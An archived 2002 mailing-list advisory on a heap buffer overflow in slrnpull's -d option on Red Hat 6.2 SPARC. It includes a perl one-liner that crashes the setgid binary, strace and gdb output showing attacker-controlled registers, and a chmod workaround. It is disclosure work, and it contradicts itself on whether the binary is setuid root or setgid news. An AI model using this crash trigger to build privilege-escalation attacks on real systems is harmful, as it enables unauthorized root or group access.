Slrnpull Buffer Overflow (-d parameter)

From: Alex Hernandez (alex_hernandezat_private)
Date: Mon Apr 22 2002 - 13:22:17 PDT

  • Next message: nawokat_private: "psyBNC 2.3 DoS / bug"

    Slrnpull Buffer Overflow (-d parameter) 
    =======================================
    
    
    Author:
    
    ** Alex Hernandez <alex_hernandezat_private>
    
    ** Thanks all the people from Spain and Argentina.
    ** Special Greets: White-B, Paco Spain, Gabriel M.
    
    Thanks friends for all the research:
    
     
    + Solar Eclipse 	<solareclipseat_private>
    	http://www.phreedom.org
    + Kevin Finisterre 	<dotslashat_private> 	
    	http://www.snosoft.com
    
    
    
    Affected system:
    ================
    
    Linux RH.6.2 Sparc64 and below versions.
    
    
    
    Description:
    ============
    
    Slrnpull is a pulling of news on RH6.2-sparc platform. It is 
    installed in 
    /usr/bin/slrnpull. On SPARC platform, it is configured to have 
    setgid 
    root attribute.
    
    Slrnpull is used for pulling of news posts from NNTP news 
    server, so it enables 
    slrn to be used as offline newsreader. A security vulnerability 
    in the product 
    allows local users to overflow one of the parameter (-d) and 
    cause the application
    to execute arbitrary code. Since the program is setuid root, 
    elevated privileges 
    can be gained. 
    
    
    slrnpull supports a command line parameter "-d" to 
    specify  "SPOOLDIR" 
    (Spool Directory associated with server).which would be used by 
    an attacker 
    to cause Buffer Overflow. With carefully constructed data, an 
    attacker might 
    be able to run arbitrary code with root privilege.
    
    In case that the attacker provide an overlong filename (for 
    example, longer
    than 4091 bytes) for the "-d", it would overflow a dynamic 
    allocated buffer.
    The attacker could modify arbitrary memory address (such as 
    saved return 
    address, and function pointer, etc.) with some features of 
    malloc()/free() 
    implementation by overwriting the border data structure of the 
    next 
    dynamic memory chunk.
    
    On SPARC platform, attacker could obtain root group privilege;
    
    
    
    Exploit:
    ==========
    
    
    Red Hat Linux release 6.2 (Zoot)
    Kernel 2.2.14-5.0 on a sparc64
    
    alex@Lab /tmp]$ uname -svrm
    Linux 2.2.14-5.0 #1 Tue Mar 7 21:50:41 EST 2000 sparc64
    
    
    [alex@Lab /tmp]$ ls -la /usr/bin/slrnpull
    -rwxr-sx--    1 news     news        48688 Feb  7  
    2000 /usr/bin/slrnpull
    
    
    [alex@Lab /tmp]$ /usr/bin/slrnpull -d `perl -e 'print "A" x 
    4091'`
    04/01/2002 22:23:11 ***File name too long.
    04/01/2002 22:23:11 slrnpull started.
    Segmentation fault
    
    
    
    [alex@Lab /tmp]$
    
    
    MAPPED WITH STRACE 
    
    [alex@Lab /tmp]$ strace /usr/bin/slrnpull -d `perl -
    e 'print "A" x 4091'`
    execve("/usr/bin/slrnpull", ["/usr/bin/slrnpull", "-d", 
    
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    
    [...]
    
    
    "], [/* 23 vars */]) = 0
    brk(0)                                  = 0x38e68
    open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such 
    file or directory)
    open("/etc/ld.so.cache", O_RDONLY)      = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=24315, ...}) = 0
    mmap(NULL, 24315, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7001c000
    close(3)                                = 0
    open("/usr/lib/libslang.so.1", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=315158, ...}) = 0
    read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
    \254"..., 8192) = 8192
    mmap(NULL, 386256, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
    0x7002c000
    mprotect(0x70066000, 148688, PROT_NONE) = 0
    mmap(0x7006c000, 65536, PROT_READ|PROT_WRITE|PROT_EXEC, 
    MAP_PRIVATE|MAP_FIXED, 3, 0x30000) = 0x7006c000
    mmap(0x7007c000, 58576, PROT_READ|PROT_WRITE|PROT_EXEC, 
    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7007c000
    close(3)                                = 0
    open("/lib/libm.so.6", O_RDONLY)        = 3
    fstat(3, {st_mode=S_IFREG|0755, st_size=790032, ...}) = 0
    read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
    \201"..., 8192) = 8192
    mmap(NULL, 277016, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
    0x7008c000
    mprotect(0x700c0000, 64024, PROT_NONE)  = 0
    mmap(0x700cc000, 16384, PROT_READ|PROT_WRITE|PROT_EXEC, 
    MAP_PRIVATE|MAP_FIXED, 3, 0x30000) = 0x700cc000
    close(3)                                = 0
    open("/lib/libc.so.6", O_RDONLY)        = 3
    fstat(3, {st_mode=S_IFREG|0755, st_size=4384427, ...}) = 0
    read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\22\0\0\0\1\0\1
    \353"..., 8192) = 8192
    mmap(NULL, 8192, PROT_READ|PROT_WRITE, 
    MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x70022000
    mmap(NULL, 1118552, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 
    0x700d0000
    mprotect(0x701c8000, 102744, PROT_NONE) = 0
    mmap(0x701d0000, 57344, PROT_READ|PROT_WRITE|PROT_EXEC, 
    MAP_PRIVATE|MAP_FIXED, 3, 0xf0000) = 0x701d0000
    mmap(0x701de000, 12632, PROT_READ|PROT_WRITE|PROT_EXEC, 
    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x701de000
    close(3)                                = 0
    munmap(0x7001c000, 24315)               = 0
    personality(PER_LINUX)                  = 0
    getpid()                                = 19513
    fcntl(0, F_GETFD)                       = 0
    fcntl(1, F_GETFD)                       = 0
    fcntl(2, F_GETFD)                       = 0
    ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
    time([1018306383])                      = 1018306383
    getpagesize()                           = 0x2000
    brk(0)                                  = 0x38e68
    brk(0x38e90)                            = 0x38e90
    brk(0x3a000)                            = 0x3a000
    open("/etc/localtime", O_RDONLY)        = 3
    read(3, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\4
    \0"..., 44) = 44
    read(3, "\245\266\350p\257\362n\340\266fV`\267C\322`\270
    \f6`\270"..., 490) = 490
    SYS_63()                                = -1 ENOSYS (Function 
    not implemented)
    fstat(3, {st_mode=S_IFREG|0644, st_size=582, ...}) = 0
    mmap(NULL, 8192, PROT_READ|PROT_WRITE, 
    MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7001c000
    read(3, "\377\377\243\f\0\0\377\377\235\220\0\4\377\377\253
    \240"..., 8192) = 48
    close(3)                                = 0
    munmap(0x7001c000, 8192)                = 0
    write(2, "04/08/2002 17:53:03 ", 2004/08/2002 17:53:03 )    = 20
    write(2, "***", 3***)                      = 3
    write(2, "File name too long.", 19File name too long.)     = 19
    write(2, "\n", 1
    )                       = 1
    time([1018306383])                      = 1018306383
    fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) 
    = 0
    mmap(NULL, 8192, PROT_READ|PROT_WRITE, 
    MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7001c000
    ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
    write(1, "04/08/2002 17:53:03 slrnpull sta"..., 3804/08/2002 
    17:53:03 slrnpull started.
    ) = 38
    brk(0x3c000)                            = 0x3c000
    brk(0x3e000)                            = 0x3e000
    brk(0x40000)                            = 0x40000
    brk(0x42000)                            = 0x42000
    mkdir
    ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    [...]
    
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/new", 0777) = -1 
    ENAMETOOLONG (File name too long)
    time([1018306383])                      = 1018306383
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++
    
    [alex@Lab /tmp]$
    
    
    
    
    DEBUGUING WITH GDB
    
    [alex@Lab /tmp]$ /usr/bin/gdb /usr/bin/slrnpull
    GNU gdb 19991004
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public 
    License, and you are
    welcome to change it and/or distribute copies of it under 
    certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" 
    for details.
    This GDB was configured as "sparc-redhat-linux"...(no debugging 
    symbols found)...
    
    (gdb) set args -d `perl -e 'print "A" x 4091'`
    (gdb) r
    Starting program: /usr/bin/slrnpull -d `perl -e 'print "A" x 
    4091'`
    04/15/2002 16:39:45 ***File name too long.
    04/15/2002 16:39:45 slrnpull started.
    (no debugging symbols found)...
    
    Program received signal SIGSEGV, Segmentation fault.
    0x700f8ad0 in getenv () at ../sysdeps/generic/getenv.c:100
    100     ../sysdeps/generic/getenv.c: No such file or directory.
    (gdb)
    
    
    
    
    (gdb) inf all
    g0             0x0      0
    g1             0x1010101        16843009
    g2             0x80808080       -2139062144
    g3             0x0      0
    g4             0x30     48
    g5             0x28     40
    g6             0x0      0
    g7             0xff     255
    o0             0x5a540000       1515454464
    o1             0xefffeb54       -268440748
    o2             0x5a     90
    o3             0x54     84
    o4             0x6a656374       1785029492
    o5             0x72766965       1920362853
    
    sp             0xefffdde0       -268444192
    o7             0x700f89f4       1880066548
    l0             0xefffeb54       -268440748
    l1             0x701c2702       1880893186
    l2             0x0      0
    l3             0x5a54   23124
    l4             0x0      0
    l5             0x0      0
    l6             0x0      0
    l7             0x41414141       1880999612
    i0             0x41414141       1094795585
    i1             0xfffff974       -1676
    i2             0x1      1
    i3             0x0      0
    i4             0x0      0
    i5             0x0      0
    fp             0xefffde48       -268444088
    i7             0x70152864       1880434788
    f0             0        (raw 0x00000000)        0
    f1             0        (raw 0x00000000)
    f2             0        (raw 0x00000000)        0
    f3             0        (raw 0x00000000)
    
    
    [...]
    
    
    
    
    
    
    Workaround:
    ===================
    
    Temporarily remove the suid root or sgid root attribute of 
    slrnpull:
    
    # chmod a-s /usr/bin/slrnpull
    
    
    
    Vendor Status:
    ==============
    
    
    Posted security^s pages like  
    
    https://bugzilla.redhat.com/
    
    bugzilla-ownerat_private
    
    
    Download the last versions for x86 and Sparc versions. 
    
    http://www.bebits.com/app/840
    http;//www.redhat.com
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    ________________________________________________
    Get your own "800" number
    Voicemail, fax, email, and a lot more
    http://www.ureach.com/reg/tag
    



    This archive was generated by hypermail 2b30 : Mon Apr 22 2002 - 14:11:03 PDT